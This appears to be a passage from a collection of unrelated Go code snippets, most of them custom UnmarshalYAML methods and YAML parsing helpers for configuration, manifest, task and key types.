{\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}", "func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}", "func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar rawTask map[string]interface{}\n\terr := unmarshal(&rawTask)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to unmarshal task: %s\", err)\n\t}\n\n\trawName, ok := rawTask[\"name\"]\n\tif !ok {\n\t\treturn errors.New(\"missing 'name' field\")\n\t}\n\n\ttaskName, ok := rawName.(string)\n\tif !ok || taskName == \"\" {\n\t\treturn errors.New(\"'name' field needs to be a non-empty string\")\n\t}\n\n\tt.Name = taskName\n\n\t// Delete name field, since it doesn't represent an action\n\tdelete(rawTask, \"name\")\n\n\tfor actionType, action := range rawTask {\n\t\taction, err := actions.UnmarshalAction(actionType, action)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmarshal action %q from task %q: %s\", actionType, t.Name, err)\n\t\t}\n\n\t\tt.Actions = append(t.Actions, action)\n\t}\n\n\tif len(t.Actions) == 0 {\n\t\treturn fmt.Errorf(\"task %q has no actions\", t.Name)\n\t}\n\n\treturn nil\n}", "func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}", "func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}", "func (f *Field) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*f, err = NewField(s)\n\treturn err\n}", "func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}", "func (f *Fixture) FromYAML(tmpl string, vals, dst interface{}) {\n\tf.t.Helper()\n\n\tt, err := template.New(\"\").Parse(tmpl)\n\tif err != nil {\n\t\tf.t.Fatalf(\"Invalid template: %s\", err)\n\t}\n\tvar buf bytes.Buffer\n\tif err := t.Execute(&buf, vals); err != nil {\n\t\tf.t.Fatalf(\"Execute template: %s\", err)\n\t}\n\tif err := yaml.Unmarshal(bytes.TrimSpace(buf.Bytes()), dst); err != nil {\n\t\tf.t.Fatal(err)\n\t}\n}", "func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}", "func parseYaml(yaml string) (*UnstructuredManifest, error) {\n\trawYamlParsed := &map[string]interface{}{}\n\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunstruct := meta_v1_unstruct.Unstructured{}\n\terr = unstruct.UnmarshalJSON(rawJSON)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := &UnstructuredManifest{\n\t\tunstruct: &unstruct,\n\t}\n\n\tlog.Printf(\"[DEBUG] %s Unstructed YAML: %+v\\n\", manifest, manifest.unstruct.UnstructuredContent())\n\treturn manifest, nil\n}", "func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}", "func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}", "func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func unmarsharlYaml(byteArray []byte) Config {\n var cfg Config\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\n if err != nil {\n log.Fatalf(\"error: %v\", err)\n }\n return cfg\n}", "func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}", "func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}", "func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: <string>\n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}", "func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}", "func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\trate, err := ParseRate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = rate\n\treturn nil\n}", "func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}", "func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}", "func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}", "func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}", "func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain TestFileParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif s.Size == 0 {\n\t\treturn errors.New(\"File 'size' must be defined\")\n\t}\n\tif s.HistogramBucketPush == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_push' must be defined\")\n\t}\n\tif s.HistogramBucketPull == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_pull' must be defined\")\n\t}\n\treturn nil\n}", "func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}", "func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}", "func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tswitch act := RelabelAction(strings.ToLower(s)); act {\n\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\n\t\t*a = act\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unknown relabel action %q\", s)\n}", "func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\tvar validStrings []string\n\tfor _, validType := range validTypes {\n\t\tvalidString := string(validType)\n\t\tif validString == str {\n\t\t\t*t = validType\n\t\t\treturn nil\n\t\t}\n\t\tvalidStrings = append(validStrings, validString)\n\t}\n\n\treturn fmt.Errorf(\"invalid traffic controller type %s, valid types are: %v\", str, validStrings)\n}", "func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}", "func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}", "func (vl *valueList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\tvar err error\n\n\tvar valueSlice []value\n\tif err = unmarshal(&valueSlice); err == nil {\n\t\t*vl = valueSlice\n\t\treturn nil\n\t}\n\n\tvar valueItem value\n\tif err = unmarshal(&valueItem); err == nil {\n\t\t*vl = valueList{valueItem}\n\t\treturn nil\n\t}\n\n\treturn err\n}", "func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\n\targs := struct {\n\t\tText string `pulumi:\"text\"`\n\t}{Text: text}\n\tvar ret struct {\n\t\tResult []map[string]interface{} `pulumi:\"result\"`\n\t}\n\n\tif err := ctx.Invoke(\"kubernetes:yaml:decode\", &args, &ret, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret.Result, nil\n}", "func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPublicKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (r *RootableField) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfield, err := newField(s, true)\n\t*r = RootableField{Field: field}\n\treturn err\n}", "func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tparsedURL, err := url.Parse(s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot parse proxy_url=%q as *url.URL: %w\", s, err)\n\t}\n\tu.url = parsedURL\n\treturn nil\n}", "func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}", "func (u *URL) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\turlp, err := url.Parse(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\tu.URL = urlp\n\treturn nil\n}", "func (r *HTTPOrBool) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.HTTP); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.HTTP.IsEmpty() {\n\t\t// Unmarshalled successfully to r.HTTP, unset r.Enabled, and return.\n\t\tr.Enabled = nil\n\t\t// this assignment lets us treat the main listener rule and additional listener rules equally\n\t\t// because we eliminate the need for TargetContainerCamelCase by assigning its value to TargetContainer.\n\t\tif r.TargetContainerCamelCase != nil && r.Main.TargetContainer == nil {\n\t\t\tr.Main.TargetContainer = r.TargetContainerCamelCase\n\t\t\tr.TargetContainerCamelCase = nil\n\t\t}\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Enabled); err != nil {\n\t\treturn errors.New(`cannot marshal \"http\" field into bool or map`)\n\t}\n\treturn nil\n}", "func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&a.AdvancedAliases); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif len(a.AdvancedAliases) != 0 {\n\t\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\n\t\ta.StringSliceOrString = StringSliceOrString{}\n\t\treturn nil\n\t}\n\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\n\t\treturn errUnmarshalAlias\n\t}\n\treturn nil\n}", "func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar buildString string\n\tif err = unmarshal(&buildString); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(str)\n\t\tw.BuildString = buildString\n\t\treturn nil\n\t}\n\t// if err != nil {\n\t// \treturn err\n\t// }\n\t// return json.Unmarshal([]byte(str), w)\n\n\tvar buildObject map[string]string\n\tif err = unmarshal(&buildObject); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(commandArray[0])\n\t\tw.BuildObject = buildObject\n\t\treturn nil\n\t}\n\treturn nil //should be an error , something like UNhhandledError\n}", "func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar t string\n\terr := unmarshal(&t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\n\t\t*s = val\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"'%s' is not a valid token strategy\", t)\n}", "func (m *OrderedMap[K, V]) UnmarshalYAML(b []byte) error {\n\tvar s yaml.MapSlice\n\tif err := yaml.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tif len(s) == 0 {\n\t\treturn nil\n\t}\n\tresult := OrderedMap[K, V]{\n\t\tidx: map[K]int{},\n\t\titems: make([]OrderedMapItem[K, V], len(s)),\n\t}\n\tfor i, item := range s {\n\t\tkb, err := yaml.Marshal(item.Key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar k K\n\t\tif err := yaml.Unmarshal(kb, &k); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvb, err := yaml.Marshal(item.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar v V\n\t\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresult.idx[k] = i\n\t\tresult.items[i].Key = k\n\t\tresult.items[i].Value = v\n\t}\n\t*m = result\n\treturn nil\n}", "func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}", "func (r *RequiredExtension) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// First try to just read the mixin name\n\tvar extNameOnly string\n\terr := unmarshal(&extNameOnly)\n\tif err == nil {\n\t\tr.Name = extNameOnly\n\t\tr.Config = nil\n\t\treturn nil\n\t}\n\n\t// Next try to read a required extension with config defined\n\textWithConfig := map[string]map[string]interface{}{}\n\terr = unmarshal(&extWithConfig)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not unmarshal raw yaml of required extensions\")\n\t}\n\n\tif len(extWithConfig) == 0 {\n\t\treturn errors.New(\"required extension was empty\")\n\t} else if len(extWithConfig) > 1 {\n\t\treturn errors.New(\"required extension contained more than one extension\")\n\t}\n\n\tfor extName, config := range extWithConfig {\n\t\tr.Name = extName\n\t\tr.Config = config\n\t\tbreak // There is only one extension anyway but break for clarity\n\t}\n\treturn nil\n}", "func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}", "func (y *PipelineYml) Unmarshal() error {\n\n\terr := yaml.Unmarshal(y.byteData, &y.obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif y.obj == nil {\n\t\treturn errors.New(\"PipelineYml.obj is nil pointer\")\n\t}\n\n\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\n\t//if err != nil {\n\t//\treturn err\n\t//}\n\n\t// re unmarshal to obj, because byteData updated by evaluate\n\terr = yaml.Unmarshal(y.byteData, &y.obj)\n\treturn err\n}", "func (r *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value float64\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tparsed := Rate(value)\n\tif err := parsed.Validate(); err != nil {\n\t\treturn err\n\t}\n\n\t*r = parsed\n\n\treturn nil\n}", "func ParseYaml(input string) (R *Recipe, err error) {\n\t//parse yaml into pre-recipe structure\n\tvar pr preRecipe\n\terr = yaml.Unmarshal([]byte(input), &pr)\n\tif err != nil {\n\t\treturn\n\t}\n\t//set ids\n\t//first go through and set id's\n\tcounter := 0\n\tvar setID func(*preRecipe)\n\tsetID = func(ptr *preRecipe) {\n\t\tptr.ID = counter\n\t\tcounter++\n\t\t//recurse into dependencies\n\t\tfor k := 0; k < len(ptr.Ingrediants); k++ {\n\t\t\tsetID(&(ptr.Ingrediants[k]))\n\t\t}\n\t}\n\tsetID(&pr)\n\tsteps, err := preRecipe2Steps(&pr)\n\tif err != nil {\n\t\treturn\n\t}\n\tR, err = steps2recipe(steps)\n\treturn\n}", "func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}", "func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn fmt.Errorf(\"ParseKind should be a string\")\n\t}\n\tv, ok := _ParseKindNameToValue[s]\n\tif !ok {\n\t\treturn fmt.Errorf(\"invalid ParseKind %q\", s)\n\t}\n\t*r = v\n\treturn nil\n}", "func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype C Scenario\n\tnewConfig := (*C)(c)\n\tif err := unmarshal(&newConfig); err != nil {\n\t\treturn err\n\t}\n\tif c.Database == nil {\n\t\treturn fmt.Errorf(\"Database must not be empty\")\n\t}\n\tif c.Collection == nil {\n\t\treturn fmt.Errorf(\"Collection must not be empty\")\n\t}\n\tswitch p := c.Parallel; {\n\tcase p == nil:\n\t\tc.Parallel = Int(1)\n\tcase *p < 1:\n\t\treturn fmt.Errorf(\"Parallel must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.BufferSize; {\n\tcase s == nil:\n\t\tc.BufferSize = Int(1000)\n\tcase *s < 1:\n\t\treturn fmt.Errorf(\"BufferSize must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.Repeat; {\n\tcase s == nil:\n\t\tc.Repeat = Int(1)\n\tcase *s < 0:\n\t\treturn fmt.Errorf(\"Repeat must be greater than or equal to 0\")\n\tdefault:\n\t}\n\tif 